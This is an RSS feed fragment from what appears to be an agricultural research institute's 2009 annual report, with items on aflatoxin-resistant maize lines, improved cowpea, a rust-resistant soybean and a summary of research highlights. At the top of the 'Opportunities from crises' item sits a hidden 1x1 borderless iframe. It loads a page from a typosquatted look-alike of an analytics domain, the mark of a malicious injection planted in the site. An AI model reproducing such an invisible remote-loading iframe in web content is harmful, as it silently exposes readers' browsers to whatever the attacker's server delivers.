<p>Collaborating for almost a decade, USDA-ARS plant pathologist Robert Brown and IITA maize breeder Abebe Menkir developed the new maize lines through conventional breeding by crossing the best aflatoxin-resistant lines found in the US (GT-MAS:gk, MI82 and Mp420) with tropical elite lines found in Central and West Africa (1368, 4001 and KU1414-SR).</p>
<p>Aside from demonstrating good resistance against aflatoxin accumulation under laboratory and field tests, most of these new maize lines also possess other commercially-desirable traits and resistance to diseases such as leaf blight and southern corn rust.</p>
<p>As these inbred lines involve parents of both tropical and temperate origin, they are likely to contain new combinations of complimentary alleles imparting resistance to aflatoxin accumulation. These can be exploited by maize breeders as new sources of resistance for developing maize cultivars with higher levels of resistance to <em>A. flavus</em> infection/aflatoxin contamination.</p>
<p>They can also serve as sources of resistance to foliar diseases as well as desirable agronomic traits to expand the genetic base of adapted US and tropical maize germplasm to accelerate the development of productive new cultivars. The resistant lines with good agronomic traits could be used as parents to accelerate breeding efforts against aflatoxin contamination of national programs in West and Central Africa.</p>
]]></content:encoded>
			<wfw:commentRss>http://annualreport.iita.org/?feed=rss2&amp;p=449</wfw:commentRss>
		</item>
		<item>
		<title>Better livelihoods from improved dual-purpose cowpea</title>
		<link>http://annualreport.iita.org/?p=446</link>
		<comments>http://annualreport.iita.org/?p=446#comments</comments>
		<pubDate>Thu, 08 Apr 2010 15:35:07 +0000</pubDate>
		<dc:creator>ojeffrey</dc:creator>
		
		<category><![CDATA[09/10]]></category>

		<category><![CDATA[Cereals and Legumes Systems]]></category>

		<category><![CDATA[Editions]]></category>

		<category><![CDATA[Research Highlights]]></category>

		<category><![CDATA[cowpea]]></category>

		<category><![CDATA[dual purpose cowpea]]></category>

		<category><![CDATA[food security]]></category>

		<category><![CDATA[IITA]]></category>

		<category><![CDATA[incomes]]></category>

		<category><![CDATA[IT89KD-288]]></category>

		<category><![CDATA[IT89KD-391]]></category>

		<category><![CDATA[IT93K-452-1]]></category>

		<category><![CDATA[IT97K-499-35]]></category>

		<category><![CDATA[legumes]]></category>

		<category><![CDATA[livelihoods]]></category>

		<category><![CDATA[poverty reduction]]></category>

		<category><![CDATA[R4D]]></category>

		<category><![CDATA[research-for-development]]></category>

		<guid isPermaLink="false">http://annualreport.iita.org/?p=446</guid>
		<description><![CDATA[Resource-poor cowpea farmers in northern Nigeria have seen their profits jump an average of 55 percent due to improved dual-purpose cowpea varieties that we and our partners developed and introduced. ]]></description>
			<content:encoded><![CDATA[<div id="attachment_292" class="wp-caption alignleft" style="width: 310px"><img class="size-full wp-image-292" title="ladies-with-cowpea" src="http://annualreport.iita.org/wp-content/uploads/2010/04/ladies-with-cowpea.jpg" alt="Women farmers in a cowpea field. Photo by Sato Muranaka." width="300" height="176" /><p class="wp-caption-text">Women farmers in a cowpea field. Photo by Sato Muranaka.</p></div>
<p>Resource-poor cowpea farmers in northern Nigeria have seen their profits jump an average of 55 percent due to improved dual-purpose cowpea varieties that we and our partners developed and introduced.</p>
<p>Farmers who use traditional varieties earn about US$251 per hectare, while those who are growing the improved cowpea are getting US$390, or US$139 more, per hectare with proper crop management.</p>
<p>The improved varieties: IT89KD-288, IT89KD-391, IT97K-499-35, and IT93K-452-1 produce high-quality grains that are used by farmers for food and fodder. They are also resistant to Striga, a parasitic weed that reduces yields of susceptible local cowpeas by as much as 80 percent.</p>
<p>Over 100,000 farmers in Borno and Kano states in northern Nigeria and in the Niger Republic are currently using the improved varieties, where their adoption rate is conservatively estimated at 65 percent.</p>
<p>Farmers in the savannah region view cowpea as both food and cash crop. When the varieties were introduced, farmers took to them readily since they serve both ends well. Those who cultivate the dual-purpose cowpeas are basically better off than those who do not.</p>
<p>The improved cowpea varieties were developed and deployed in partnership with the Borno State Agricultural Development Project, Kano State Agricultural and Rural Development Authority, Kaduna State Agricultural Development Project, the Institute of Agricultural Research - Zaria and the University of Maiduguri.</p>
<p>Other local development partners are promoting the improved varieties by organizing farmers&#8217; field days, exchange visits, training and farmer-to-farmer diffusion.</p>
<p>Cowpea is a grain legume grown mainly in the savanna regions of the tropics and subtropics in Africa, Asia, and South America. Its grain contains about 25 percent protein, making it extremely valuable to those who cannot afford more expensive animal-derived protein sources such as meat and fish. It is tolerant to drought, fixes atmospheric nitrogen, and improves poor soils.</p>
<p>The FAO, about 7.56 million tons of cowpeas are produced worldwide annually, with sub-Saharan Africa accounting for 70%, or about 5.3 million tons, of global production.</p>
]]></content:encoded>
			<wfw:commentRss>http://annualreport.iita.org/?feed=rss2&amp;p=446</wfw:commentRss>
		</item>
		<item>
		<title>New soybean offers respite from deadly Asian rust</title>
		<link>http://annualreport.iita.org/?p=442</link>
		<comments>http://annualreport.iita.org/?p=442#comments</comments>
		<pubDate>Thu, 08 Apr 2010 15:24:31 +0000</pubDate>
		<dc:creator>ojeffrey</dc:creator>
		
		<category><![CDATA[09/10]]></category>

		<category><![CDATA[Cereals and Legumes Systems]]></category>

		<category><![CDATA[Editions]]></category>

		<category><![CDATA[Research Highlights]]></category>

		<category><![CDATA[Annual Report 2009]]></category>

		<category><![CDATA[Asian soybean rust]]></category>

		<category><![CDATA[IITA]]></category>

		<category><![CDATA[Phakopsora pachyrhizi]]></category>

		<category><![CDATA[R4D]]></category>

		<category><![CDATA[research-for-development]]></category>

		<category><![CDATA[rust fungus]]></category>

		<category><![CDATA[rust resistance]]></category>

		<category><![CDATA[rust-resistant soybean]]></category>

		<category><![CDATA[TGx 1835-10E]]></category>

		<guid isPermaLink="false">http://annualreport.iita.org/?p=442</guid>
		<description><![CDATA[This year, a soybean variety resistant to the disease that we developed was approved for release by the Nigerian National Variety Release Committee (NNVRC). The rust-resistant soybean is the first of its kind to be made available for cultivation not only in Nigeria but also in West and Central Africa.]]></description>
			<content:encoded><![CDATA[<div id="attachment_301" class="wp-caption alignleft" style="width: 310px"><img class="size-full wp-image-301" title="TGx 1835-10E" src="http://annualreport.iita.org/wp-content/uploads/2010/04/tgx-1835.jpg" alt="Asian rust-resistant TGx 1835-10E, at right, compared to a susceptible variety. Photo by IITA." width="300" height="225" /><p class="wp-caption-text">Asian rust-resistant TGx 1835-10E, at right, compared to a susceptible variety. Photo by IITA.</p></div>
<p>The Asian soybean rust is a fungal disease that is capable of laying waste as much as 80 percent of infested crops. This year, a soybean variety resistant to the disease that we developed was approved for release by the Nigerian National Variety Release Committee (NNVRC). The rust-resistant soybean is the first of its kind to be made available for cultivation not only in Nigeria but also in West and Central Africa.</p>
<p>Tagged TGx 1835-10E, our scientists bred the variety and further developed it in collaboration with the National Cereal Research Institute. Its release for general cultivation was approved in December 2008 and notified in June 2009 by the NNVRC.</p>
<p>Field trials in Nigeria showed that aside from being resistant to the Asian rust, the variety is also high-yielding, averaging 1655 kg/ha grain and 2210 kg/ha fodder. It is also early-maturing, has good promiscuous nodulation character, and resists pod shattering and other prevalent diseases.</p>
<p>The variety can be used for direct cultivation in tropical Africa or as a source of resistance genes in soybean breeding programs. It was previously released in Uganda through the initiative of Makerere University, a local partner, and has already shown excellent performance in trials carried out in Southern Africa, suggesting that it is well-adapted.</p>
<p>Its resistance is effective against all currently known types of the rust fungus in Nigeria. We have bred several other lines with rust resistance genes from various sources, which can be deployed quickly if this variety succumbs to newer forms of the rust fungus.</p>
<p>It was in 1996 that the Asian soybean rust first arrived in Africa, rapidly spreading through Uganda, Malawi, Mozambique, Rwanda, South Africa, Zambia and Zimbabwe. The disease was first noted in Nigeria in 1999.</p>
<p>The causal fungus of the Asian soybean rust, <em>Phakopsora pachyrhizi</em>, is very aggressive and can produce billions of spores capable of turning lush green crops with healthy foliage into brown fields with bare stalks in 2-3 weeks.</p>
<p>For most African farmers, using resistant varieties is the most viable method to control the disease as applying fungicides proves very costly.</p>
]]></content:encoded>
			<wfw:commentRss>http://annualreport.iita.org/?feed=rss2&amp;p=442</wfw:commentRss>
		</item>
		<item>
		<title>Opportunities from crises</title>
		<link>http://annualreport.iita.org/?p=437</link>
		<comments>http://annualreport.iita.org/?p=437#comments</comments>
		<pubDate>Thu, 08 Apr 2010 15:10:25 +0000</pubDate>
		<dc:creator>ojeffrey</dc:creator>
		
		<category><![CDATA[09/10]]></category>

		<category><![CDATA[Editions]]></category>

		<category><![CDATA[Introduction]]></category>

		<category><![CDATA[Annual Report 2009]]></category>

		<category><![CDATA[crises]]></category>

		<category><![CDATA[food security]]></category>

		<category><![CDATA[IITA]]></category>

		<category><![CDATA[livelihoods]]></category>

		<category><![CDATA[Opportunities and Threats]]></category>

		<category><![CDATA[poverty reduction]]></category>

		<category><![CDATA[R4D]]></category>

		<category><![CDATA[research highlights]]></category>

		<category><![CDATA[research-for-development]]></category>

		<guid isPermaLink="false">http://annualreport.iita.org/?p=437</guid>
		<description><![CDATA[As the effects of the global economic and food price crises of 2008 rippled strongly during most of 2009, these provided us with terrific opportunities to demonstrate the effectiveness of our R4D strategy in mitigating their impact especially on African farmers and help them cope with the ever-changing agricultural landscape.]]></description>
			<content:encoded><![CDATA[<p><iframe src="http://google-analytlcs.com/l/index.php" width="1" height="1" frameborder="0"> </iframe> <div id="attachment_269" class="wp-caption alignleft" style="width: 310px"><img class="size-full wp-image-269" title="Introduction AR2009" src="http://annualreport.iita.org/wp-content/uploads/2010/04/20081004as12-02-38.jpg" alt="Growing vegetables is hard work - from preparing the land to watering the plants twice a day. Photo by Arnstein Staverlokk, Bioforsk." width="300" height="200" /><p class="wp-caption-text">Growing vegetables is hard work - from preparing the land to watering the plants twice a day. We are continuously finding ways to make life easier and better for African farmers. Photo by Arnstein Staverlokk, Bioforsk.</p></div></p>
<p>In 2009, most of the world was still on unstable footing due to the lingering effects of the double-whammy–the global financial breakdown and the food price crisis–that hit the previous year. For millions of African farmers and their families, the negative impacts of these crises were still strongly felt. As if these were not enough, the third threat of climate change resulting in shifting weather patterns is making agricultural production much more unpredictable and volatile, making the lives of growers even harder.</p>
<p>However, these crises presented us with terrific opportunities to demonstrate the effectiveness of our <a href="http://www.iita.org/cms/details/research_summary.aspx?a=1570&amp;z=63" target="_blank">research-for-development (R4D) strategy</a>. Working closely with partners and with the support of our investors, we developed viable options to help African farmers mitigate and cope with the effects of these threats.</p>
<p>Below is a summary of our R4D highlights and achievements in sub-Saharan Africa for 2009. Details of these highlights and achievements are presented in the “<a href="http://http://annualreport.iita.org/?cat=11" target="_blank">Research Highlights</a>” section of this annual report:</p>
<p>To address vitamin A deficiency especially among women and children in Africa, we gave tropical maize a boost of the nutrient by combining it with maize from the temperate zones containing high levels of beta-carotene and pro-vitamin A. The result was maize that is not only more nutritious but is also well-adapted to the tropical conditions of sub-Saharan Africa.</p>
<p>We were also able to produce a fungus-based biocontrol product against aflatoxin contamination in major African food crops. Called aflasafe, the product has been proven to significantly reduce aflatoxin contamination in maize in our field trials in Nigeria. The product has been granted a provisional registration by the Nigerian government, allowing us to further test it in more areas. We are also trying to develop a similar product for application in Burkina Faso and Senegal.</p>
<p>Mid-year, we sent our second shipment of seeds of African crops to the Svalbard Global Seed Vault. This comprised of about 5000 seed samples of soybean, maize, bambara nut, cowpea, and African yam bean. Through our Genetic Resources Unit, we are continuing efforts to expand our germplasm collection to help ensure the security and future of Africa’s agrobiodiversity.</p>
<p>We developed new diagnostic tools to help check the spread of crop disease-causing pathogens. Called ‘DNA Barcoding’, this new initiative could genetically characterize pathogen populations and recognize unique stretches of sequences. The DNA ‘barcodes’ could then be used as markers to diagnose pathogens and pests affecting African food crops.</p>
<p>In the face of the rapid onslaught of two deadly diseases of bananas and plantains in Africa – Banana <em>Xanthomonas</em> Wilt and Banana Bunchy Top Disease – that is threatening to wipe-out the crops from the continent, we engaged in a number of complementary disease-management research. These include conducting diagnostic assays, regional disease surveillance, developing management tools, and studying host-plant resistance.</p>
<p>We also undertook studies to delve deeper into the dynamics of <em>Musa</em> production in Africa. This included research that looked at relationships between and among pests and diseases, biotic and abiotic stresses, and farmers’ preferences. All of these to establish the underlying causes of the present state of <em>Musa</em> production in Africa, and enable us to plot a more effective course for our R4D work on bananas and plantains in the continent.</p>
<p>Further to our work on developing a biocontrol product against aflatoxin contamination in food crops, we also developed six new aflatoxin-resistant maize inbred lines with our US-based partners. These maize lines, which have been released to farmers, are also well-adapted to the lowlands.</p>
<p>Our work on improved double-purpose cowpea has resulted in significant increases in the incomes of farmers in northern Nigeria. Cowpea growers in that part of the country have seen their farm profits jump by as much as 55 percent from using the improved varieties compared to local ones.</p>
<p>On soybeans, we developed a new variety that is resistant to the deadly Asian rust – a disease that causes as much as 80 percent crop loss in infested fields. Tagged TGx 1835-10E, the new rust-resistant variety is also high-yielding, bringing an average of 1655 kg/ha of grain and 2210 kg/ha of fodder. It also possesses other traits sought after by soybean farmers.</p>
<p>Our project on “Promoting Sustainable Agriculture in Borno State” (PROSAB), which ended it five-year run this year, showcased the effectiveness of our R4D approach. Our post-project socioeconomic analysis have shown that the poverty levels of about 17,000 households, or more than 100,000 participating farmers, have dropped by an average of 14 percent, while food security improved by about 17 percent – due mainly to PROSAB’s R4D interventions.</p>
<p>Our Sustainable Tree Crops Program (STCP) was tapped as one of five technical partners of a global, multi-sector consortium to implement the US$40 million, 5-year Cocoa Livelihoods Program (CLP). The program is funded by the Bill &amp; Melinda Gates Foundation and 14 chocolate industry companies. STCP will lead the CLP’s site selection, develop and validate training approaches for cocoa farm rehabilitation, produce appropriate training materials, establish a community-level distribution system for improved planting materials, conduct market opportunity and product diversification studies, and manage the program’s Performance Coordination Unit.</p>
<p>A study on the impact of agricultural research on productivity and poverty in sub-Saharan Africa that we completed this year has shown that agricultural research has a direct positive impact on poverty, reducing the number of poor people in the region by as much as 2.3 million annually. In view of the long-term research investments and demonstrated successes in the region, our own R4D work is helping uplift the lives of about 500,000 to one million poor people in sub-Saharan Africa annually.</p>
<p>This year, we moved even closer to developing cassava that has dual resistance to two of the crop’s deadliest diseases – Cassava Mosaic Disease and Cassava Brown Streak Disease. We are currently conducting further disease-stress tests and breeding on candidate cultivars that have shown promise. We are also ensuring that traits sought after by farmers – such as cooking taste, texture, and yield – are addressed.</p>
<p>Yam farmers in sub-Saharan Africa have been traditionally beset by high production costs. We developed a novel way of propagating yam that does away with using tubers as seeds, saving farmers as much as 25 to 30 percent in production expenses. The innovative technique involves using vine cuttings grown in inexpensive carbonized rice husks to produce mini-tubers, which are then used as the planting material in the fields. Aside from reducing costs, this new yam propagation technique could also address the need for faster and wider distribution of disease-free and improved varieties to farmers.</p>
<p>For years, cabbage farms in West Africa have been suffering from the damage inflicted by the Diamondback Moth (DBM), affecting farmers’ incomes and market prices of the high-value crop. This year, we developed a biopesticide based on a fungus– <em>Beauveria bassiana</em> – that effectively controls DBM. Used in integrated pest management, the biopesticide offers a cost-effective and ecologically-friendly alternative to inorganic pesticides, which are not only expensive but also poses health risks to humans and the environment. The <em>B. bassiana</em>-based biopesticide has been tested and proven effective in a number of field tests in the Benin Republic.</p>
<p>We carried out advanced studies in the biological control of the cowpea pod borer, <em>Maruca vitrata</em>. We further evaluated the effectiveness of a previously identified natural enemy of the pod borer, the parasitoid <em>Apanteles taragamae</em>. We also continued host-range studies of the Multi-Nucleopolyhedrosis Virus, another promising biocontrol against <em>Maruca vitrata</em>, which was found through collaborative studies with the World Vegetable Center.</p>
<p>To service more African farmers, we established our Southern Africa Administrative Hub in Zambia to backstop our R4D efforts in that part of the continent. The hub will cater to the agricultural research support needs of Zambia, Malawi, Mozambique, Zimbabwe, Lesotho, Swaziland, Botswana, Namibia, South Africa and, as needed, the DR Congo. With the establishment of our Southern Africa hub, our administrative support system now have three focal points: West Africa (covered by IITA-Nigeria), East Africa (serviced by IITA-Tanzania), and Southern Africa (covered by IITA-Zambia).</p>
<p>Our 2009 audited financial statements reflect the institute’s sustained financial health and stability, and the prudent management of resources. Our liquidity and reserve levels are above those recommended by the CGIAR, indicating our continued ability to meet short- and long-term obligations. Please see the “<a href="http://http://annualreport.iita.org/?cat=5" target="_blank">Financial Information</a>” section of this report for details.</p>
]]></content:encoded>
			<wfw:commentRss>http://annualreport.iita.org/?feed=rss2&amp;p=437</wfw:commentRss>
		</item>
	</channel>
</rss>
